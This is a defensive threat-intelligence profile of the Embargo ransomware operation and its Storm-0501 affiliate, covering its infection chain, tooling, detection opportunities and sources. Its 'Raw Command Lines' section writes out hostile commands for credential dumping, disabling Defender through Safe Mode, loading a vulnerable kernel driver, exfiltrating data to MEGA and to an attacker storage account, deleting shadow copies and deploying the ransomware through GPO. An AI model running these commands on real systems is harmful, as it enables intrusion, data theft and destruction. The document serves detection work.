# Embargo Ransomware (Storm-0501) **Type:** Ransomware-as-a-Service (RaaS) - Open Affiliate Model **Also tracked as:** Storm-0501 (Microsoft), G1053 (MITRE), S1247 (MITRE software entry) **First observed:** April 2024 (first leak site victim April 21, 2024; ESET first analysis June 2024) **Status:** Active - 38 named leak site victims as of March 31, 2026. Most recent victim: Lagoon Amusement Park (US), March 31, 2026. $34.2M in traced cryptocurrency payments over ~1 year. Mid-tier RaaS with disproportionate revenue per victim, likely BlackCat/ALPHV successor. --- ## Threat Overview RaaS platform operated by a group assessed as a successor or rebrand of BlackCat/ALPHV, which exit-scammed in March 2024. TRM Labs documented on-chain wallet infrastructure overlap between Embargo and historical BlackCat-linked addresses. Entire toolchain written in **Rust** - ransomware, loader (MDeployer), and EDR killer (MS4Killer). Affiliates include Storm-0501, a financially motivated actor active since 2021 who previously deployed Sabbath, Hive, BlackCat, Hunters International, and LockBit 3.0. **Double extortion** Data exfiltration via Rclone to MEGA/MegaSync, then encryption via ChaCha20 + Curve25519 ECC. Leak site: Embargo (Tor). | Field | Value | |---|---| | Ransom note | `HOW_TO_RECOVER_FILES.txt` | | File extension | Random 6-char hex (e.g., `.564ba1`, `.b58eeb`, `.3d828a`) | | Mutex | `IntoTheFloodAgainSameOldTrip` (alt: `LoadUpOnGunsBringYourFriends`) | | Encryption | ChaCha20 + Curve25519 ECC | | Contact | Tor registration portal, TOX | | Top targets (geo) | US (23), Singapore (2), Australia (1), Germany (1), France (1), India (1), Hungary (1) | | Top targets (sector) | Technology (10), Healthcare (7), Manufacturing (5), Business Services (4), Financial Services (2) | | Max known ransom | $1.3M (healthcare services firm) | | Total traced payments | $34.2M (TRM Labs, through mid-2025) | | Infostealer overlap | 21.9% of victims (per ransomware.live) | --- ## Activity Standing Not a volume leader. 38 named victims over ~2 years places Embargo well outside the top 10 by count. For context, Q1 2026 is dominated by Qilin (342 victims), Akira (194), LockBit5, SafePay, and Sinobi. However, Embargo's **revenue-per-victim ratio** ($900K+ average traced) far exceeds most spray-and-pray operations, suggesting selective targeting of high-value orgs - particularly US healthcare with urgent recovery timelines. The BlackCat lineage matters: shared Rust codebase philosophy, similar leak site design, on-chain wallet overlap, and emergence immediately after BlackCat's March 2024 exit scam. TRM Labs and multiple researchers assess this as a probable rebrand or successor operation. Storm-0501, the primary tracked affiliate, has expanded the attack surface to **hybrid cloud environments** - pivoting from on-prem to Azure/Entra ID via compromised sync accounts (Microsoft, Aug 2025). --- ## Initial Access **Primary (Storm-0501):** Exploitation of known N-day vulnerabilities in internet-facing applications: - CVE-2022-47966 (Zoho ManageEngine RCE) - CVE-2023-4966 (Citrix NetScaler - "Citrix Bleed") - CVE-2023-29300 / CVE-2023-38203 (Adobe ColdFusion) **Secondary:** IAB-purchased access from initial access brokers. Weak/over-privileged credentials. Phishing and social engineering. **Not observed:** Zero-day exploitation. Embargo/Storm-0501 relies on N-days and access brokers, not proprietary exploit development. --- ## Infection Chain ### Step 1 - Initial Access: N-Day Exploitation / IAB Access T1190, T1078 | Affiliate (Storm-0501) Exploits unpatched Zoho ManageEngine (CVE-2022-47966), Citrix NetScaler (CVE-2023-4966), or Adobe ColdFusion (CVE-2023-29300). Alternatively purchases access from initial access brokers or brute-forces weak credentials. > **Detection Opportunity:** Monitor for anomalous child process spawning from web application processes (e.g., ColdFusion webshell chains). Internet-facing application exploitation typically produces process trees inconsistent with normal application behavior. ### Step 2 - Reconnaissance T1087.002, T1482, T1518.001, T1057, T1082 | Affiliate Domain enumeration via obfuscated ADRecon.ps1, nltest, net group, tasklist, sc query. Specifically queries security software: `sc query sense`, `sc query windefend`. In cloud-targeted attacks, uses Azurehound for Azure AD enumeration. > **Detection Opportunity:** Alert on domain trust enumeration (nltest /dclist), privileged group enumeration (net group "Domain Admins"), and security software discovery (sc query against EDR/AV service names). These are consistent pre-ransomware reconnaissance patterns. > > See rule(s): [[edr-win-disc-net-priv-group-enum]] | [[edr-win-disc-nltest-domain-trusts]] ### Step 3 - Credential Access T1003, T1003.006, T1555.005 | Affiliate Impacket SecretsDump across extensive device count. DCSync for domain credential extraction. KeePass credential theft via `Find-KeePassConfig.ps1`. Brute-force attacks against specific accounts. > **Detection Opportunity:** Monitor for remote credential dumping behaviors (SecretsDump network signatures), LSASS memory access from unexpected processes, and DPAPI key theft. DCSync activity produces detectable replication requests from non-DC sources. > > See rule(s): [[edr-win-cred-lsass-minidump]] | [[edr-win-cred-reg-hive-dump]] ### Step 4 - Lateral Movement + C2 T1021.006, T1219, T1218.010, T1218.011 | Affiliate Cobalt Strike (license ID "666", packed with Themida) launched via regsvr32.exe or rundll32.exe. Evil-WinRM for PowerShell-based lateral movement. AnyDesk, NinjaOne, Level.io for RMM persistence. Self-signed TLS cert "Microsoft IT TLS CA 5" for Cobalt Strike C2. > **Detection Opportunity:** Watch for regsvr32/rundll32 loading DLLs from temp or debug directories - a common Cobalt Strike execution pattern. Alert on unexpected RMM tool installations (AnyDesk, NinjaOne, Level.io) and WinRM-spawned command interpreters from non-administrative sources. SMB/WMI-based lateral movement with credential reuse is a strong signal. > > See rule(s): [[edr-win-lat-impacket-wmiexec]] | [[edr-win-lat-remote-psexec]] ### Step 5 - Defense Evasion: MDeployer + MS4Killer (BYOVD) T1562.001, T1562.009, T1068, T1140 | Malware **Two-stage toolkit, both written in Rust:** **MDeployer (Loader):** - Decrypts `b.cache` → `praxisbackup.exe` (MS4Killer) and `a.cache` → `pay.exe` (ransomware) using RC4 with hardcoded key - File paths: `C:\Windows\Debug\b.cache`, `C:\Windows\Debug\a.cache`, `C:\Windows\praxisbackup.exe`, `C:\Windows\Debug\pay.exe` - Error log: `C:\Windows\Debug\fail.txt` - DLL variant: forces Safe Mode reboot via bcdedit, creates `irnagentd` service for persistence, deletes Defender from Safe Mode registry, renames security product directories to disable them, executes ransomware, then reboots to normal mode - Creates scheduled task `Perf_sys` for persistence - Multiple versions deployed during single incidents with bugs - active in-operation development **MS4Killer (EDR Killer):** - BYOVD using probmon.sys v3.0.0.4 (ITM System Co., revoked Korean cert, signed 2011-2014) - Dropped as: `C:\Windows\System32\drivers\Sysprox.sys` or `C:\Windows\Sysmon64.sys` - Service names: Sysprox, Proxmon, Sysmon64 - Enables SeLoadDriverPrivilege, creates service via CreateServiceW, loads via FilterLoad API - RC4-encrypted driver blob, XOR-encrypted target process list - Continuous loop scanning + termination via minifilter communication port (FilterSendMessage) - Custom-compiled per victim: only targets that victim's security products - Multi-threaded via Rayon parallelism library - Known targets: SentinelOne, Cylance, ESET (ekrn.exe, ERAAgent.exe), Defender (MsMpEng.exe), Bitdefender, Kaspersky, Webroot > **Detection Opportunity:** Monitor for bcdedit Safe Mode configuration changes (`bcdedit /set safeboot`) - this is almost always malicious and is used by Embargo, REvil, and Snatch. Watch for kernel driver loads from unsigned or revoked certificates, new kernel-mode services created via sc.exe, and registry deletion targeting Safe Mode service entries (e.g., `Safeboot\Network\WinDefend`). File creation in `C:\Windows\Debug\` with `.cache` extensions is a strong MDeployer indicator. > > See rule: [[edr-win-def-defender-tampering]] ### Step 6 - Cloud Pivot (Storm-0501 specific) T1078.004, T1098.001, T1098.003, T1484.002, T1537 | Affiliate Compromises Microsoft Entra Connect Sync accounts or hijacks on-prem sessions with cloud admin privileges (no MFA). Resets admin passwords, registers own MFA. Uses AADInternals to create federated domain backdoor. Accesses Azure Key Vault, Storage Account keys. Uses AzCopy CLI for cloud-to-cloud data theft. > **Detection Opportunity:** Monitor Azure AD audit logs for Entra Connect Sync account compromise indicators: unexpected password resets on privileged accounts, new MFA device registrations, federated domain configuration changes, and AzCopy data transfers to external storage accounts. This requires cloud audit log ingestion - a common gap. ### Step 7 - Exfiltration T1567.002, T1036.004 | Affiliate Rclone renamed to mimic Windows binaries (`svhost.exe`, `scvhost.exe`) or legitimate tools. Exfil to MEGA/MegaSync cloud storage. AzCopy for cloud environment exfiltration. > **Detection Opportunity:** Detect Rclone masquerading by comparing process display name / PE metadata against the actual binary name - a process named `svhost.exe` or `scvhost.exe` with Rclone metadata is a high-fidelity signal. Monitor for large outbound data transfers to cloud storage providers (MEGA, MegaSync) from endpoints that don't normally use them. > > See rule: [[edr-win-exfil-rclone-usage]] ### Step 8 - Impact (Ransomware Deployment) T1486, T1490, T1489, T1053.005, T1484.001 | Both Ransomware distributed via GPO scheduled task ("SysUpdate") or direct execution. Creates mutex (`IntoTheFloodAgainSameOldTrip`), clears recycle bin, deletes shadow copies, disables recovery via bcdedit, terminates database/backup/productivity processes, encrypts with ChaCha20 + Curve25519, appends random 6-char hex extension. Drops `HOW_TO_RECOVER_FILES.txt` per directory. Embargo CLI flags: `--threads`, `--path`, `--no-delete`, `--partial`, `--log`, `--verbose`, `--follow-sym`, `--multi-run`, `--no-net`, `--net-path`. > **Detection Opportunity:** Alert on system recovery inhibition: `bcdedit /set recoveryenabled no`, `vssadmin delete shadows`, `wmic shadowcopy delete`. Monitor for GPO-based scheduled task creation pushing executables to domain-joined systems ("SysUpdate" pattern). Mass file extension changes and ransom note drops (`HOW_TO_RECOVER_FILES.txt`) are late-stage but confirmatory indicators. > > See rule: [[edr-win-impact-inhibit-recovery]] --- ## Raw Command Lines Observed operator commands from Microsoft, ESET, and Cyble IR reports. `[R]` = reconstructed from described behavior. **Reconnaissance** ``` nltest /dclist: net group "Domain Admins" /domain sc query sense sc query windefend tasklist.exe systeminfo quser.exe ``` **Credential access** ``` secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET> [R] Find-KeePassConfig.ps1 [R] ``` **Safe Mode setup (MDeployer DLL)** ``` bcdedit /set {default} safeboot network sc create irnagentd binPath= "C:\Windows\Debug\dtest.dll" start= auto reg delete HKLM\SYSTEM\CurrentControlSet\Control\Safeboot\Network\WinDefend /f shutdown -r -f -t 00 ``` **Safe Mode execution (MDeployer DLL - Stage 2)** ``` takeown /f "C:\Program Files\<SECURITY_PRODUCT>" /r /d y [R] ren "C:\Program Files\<SECURITY_PRODUCT>" "<SECURITY_PRODUCT>.old" [R] ``` **BYOVD driver loading (MS4Killer)** ``` sc create Sysprox type= kernel binPath= C:\Windows\System32\drivers\Sysprox.sys start= demand [R] sc start Sysprox [R] ``` **MDeployer payload decryption + execution** ``` C:\Windows\praxisbackup.exe [R] C:\Windows\Debug\pay.exe [R] ``` **Cobalt Strike execution** ``` regsvr32.exe /s C:\Windows\Temp\<beacon>.dll [R] rundll32.exe C:\Windows\Temp\<beacon>.dll,Start [R] ``` **Lateral movement** ``` evil-winrm -i <TARGET> -u <USER> -p <PASS> [R] ``` **Exfiltration** ``` svhost.exe copy \\<FILESERVER>\shares remote:mega-bucket --transfers 16 --checkers 32 [R] AzCopy.exe copy "https://<STORAGE>.blob.core.windows.net/<CONTAINER>" "https://<ATTACKER_STORAGE>.blob.core.windows.net/<CONTAINER>" --recursive [R] ``` **Ransomware execution** ``` pay.exe --threads 8 --path C:\ --log pay.exe --net-path \\<FILESERVER>\shares --threads 4 ``` **Recovery inhibition** ``` bcdedit /set {default} recoveryenabled no [R] vssadmin delete shadows /all /quiet [R] wmic shadowcopy delete [R] ``` **Scheduled task (GPO distribution)** ``` schtasks /create /tn "SysUpdate" /tr "C:\Windows\Debug\pay.exe" /sc onstart /ru SYSTEM [R] ``` --- ## Intelligence Gaps - **Affiliate structure opaque** - Storm-0501 is the only publicly attributed affiliate. Other affiliates likely exist given RaaS model. TTPs may diverge significantly. - **BlackCat lineage unconfirmed** - On-chain overlap and Rust toolchain are strong indicators, but could reflect talent migration rather than organizational continuity. No operator HUMINT confirmation. - **Cloud pivot techniques evolving** - Microsoft's Aug 2025 report documents Entra ID abuse, but no public IOCs for the AADInternals/federated domain backdoor pattern. Detection requires Azure AD audit log ingestion. - **MS4Killer per-victim compilation** - Custom-compiled binaries mean hash-based detection is useless. Must detect behaviorally: driver load + service creation + process termination pattern. - **Ransomware payload CLI flags underdocumented** - The `--partial`, `--multi-run`, `--no-net` flags suggest operational flexibility not fully analyzed in public reporting. - **GPO distribution mechanism** - Storm-0501 uses "SysUpdate" GPO task for Embargo deployment - requires AD audit logs to detect. --- ## Confidence Assessment | Claim | Confidence | Evidence | Flips if... | |---|---|---|---| | Storm-0501 = primary Embargo affiliate | HIGH | MITRE G1053, Microsoft attribution, multiple vendor obs | Separate operator, shared tools | | BlackCat/ALPHV successor | MEDIUM | On-chain wallet overlap, Rust, timing, leak site design (TRM Labs) | Talent migration, not org continuity | | $34.2M traced payments | HIGH | TRM Labs blockchain analysis, multiple confirmations | Misattributed wallets | | Healthcare targeting deliberate | HIGH | 7/38 victims healthcare, $1.3M max from healthcare firm | Opportunistic, not targeted | | MDeployer/MS4Killer = Embargo-exclusive toolkit | MEDIUM | Only observed with Embargo payloads (ESET) | Toolkit sold/shared to other RaaS | | probmon.sys as sole BYOVD driver | LOW | Only driver observed so far | MS4Killer custom-compiled - driver swaps likely | --- ## Detections Sigma rules applicable to this threat: | Rule ID | Description | | ------------------------------------------------------------------------------------------- | ------------------------------------------- | | [[edr-win-disc-net-priv-group-enum]] | Privileged Domain Group Enumeration via Net | | [[edr-win-disc-nltest-domain-trusts]] | Domain Trust Enumeration via Nltest | | [[edr-win-cred-lsass-minidump]] | LSASS Memory Dump via Comsvcs.dll | | [[edr-win-cred-reg-hive-dump]] | Registry Hive Credential Dump | | [[edr-win-lat-impacket-wmiexec]] | Impacket WmiExec Lateral Movement | | [[edr-win-lat-remote-psexec]] | Remote PsExec Service Execution | | [[edr-win-exfil-rclone-usage]] | Rclone Data Exfiltration | | [[edr-win-impact-inhibit-recovery]] | System Recovery Inhibition | | [[edr-win-def-defender-tampering]] | Windows Defender Tampering via PowerShell | --- ## Key Publications 1. [ESET - Embargo Ransomware: Rock'n'Rust](https://www.welivesecurity.com/en/eset-research/embargo-ransomware-rocknrust/) (Oct 2024) - Primary technical analysis of MDeployer, MS4Killer, BYOVD, Safe Mode abuse. 2. [Microsoft - Storm-0501: Ransomware Expanding to Hybrid Cloud](https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/) (Sep 2024) - Initial access vectors, lateral movement, cloud pivot, Embargo deployment. 3. [Microsoft - Storm-0501's Evolving Techniques Lead to Cloud-Based Ransomware](https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/) (Aug 2025) - Updated cloud attack TTPs. 4. [TRM Labs - Unmasking Embargo: BlackCat Links](https://www.trmlabs.com/resources/blog/unmasking-embargo-ransomware-a-deep-dive-into-the-groups-ttps-and-blackcat-links) (2025) - Blockchain analysis, $34.2M traced, on-chain overlap with ALPHV. 5. [MITRE ATT&CK - Embargo S1247](https://attack.mitre.org/software/S1247/) - 22 mapped techniques with references. 6. [MITRE ATT&CK - Storm-0501 G1053](https://attack.mitre.org/groups/G1053/) - 40+ mapped techniques, full tool inventory. 7. [Cyble - The Rust Revolution: New Embargo Ransomware Steps In](https://cyble.com/blog/the-rust-revolution-new-embargo-ransomware-steps-in/) (May 2024) - Early payload analysis, mutex, encryption details. 8. [The Record - Embargo Gang, $34M, BlackCat Successor](https://therecord.media/embargo-ransomware-gang-blackcat-alphv-successor) (2025) - Financial analysis, affiliate model. 9. [Ransomware.live - Embargo Tracker](https://www.ransomware.live/group/embargo) (ongoing) - Victim count, timeline, infostealer overlap. 10. [Splunk - Storm-0501 Ransomware Analytics Story](https://research.splunk.com/stories/storm-0501_ransomware/) - Detection analytics for Storm-0501 TTPs.